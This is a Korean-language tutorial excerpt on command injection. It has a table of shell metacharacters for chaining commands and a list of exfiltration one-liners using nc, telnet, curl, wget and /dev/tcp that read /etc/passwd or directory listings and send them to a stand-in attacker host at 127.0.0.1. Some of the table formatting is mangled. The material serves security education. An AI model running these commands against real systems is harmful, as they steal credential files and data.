&&
, ;
, |
등을 사용하면 여러 개의 명령어를 연속으로 실행시킬 수 있다는 것메타 문자 | 설명 | Example |
---|---|---|
```` | 명령어 치환````안에 들어있는 명령어를 실행한 결과로 치환됩니다. | $ echo echo theoritheori |
$() |
명령어 치환$() 안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori)) ) |
$ echo $(echo theori)theori |
&& |
명령어 연속 실행한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. (Logical And) | $ echo hello && echo theorihellotheori |
` | ` | |
; |
명령어 구분자한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ; 은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다. |
$ echo hello ; echo theorihellotheori |
` | ` | 파이프 |
앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다. | `$ echo id | /bin/shuid=1001(theori) gid=1001(theori) groups=1001(theori)` |
nc (netcat)
cat /etc/passwd | nc 127.0.0.1 8000
telnet
cat /etc/passwd | telnet 127.0.0.1 8000
curl/wget
공격자의 서버로 접속 로그등을 남겨서 확인하는 방식
curl "<http://127.0.0.1:8080/?$>(ls -al|base64 -w0)"
curl <http://127.0.0.1:8080/> -d "$(ls -al)"
wget <http://127.0.0.1:8080> --method=POST --body-data="`ls -al`"
/dev/tcp & /dev/udp
"/dev/tcp" 장치 경로의 하위 디렉터리로 IP 주소와 포트 번호를 입력하면 Bash는 해당 경로로 네트워크 연결을 시도
cat /etc/passwd > /dev/tcp/127.0.0.1/8080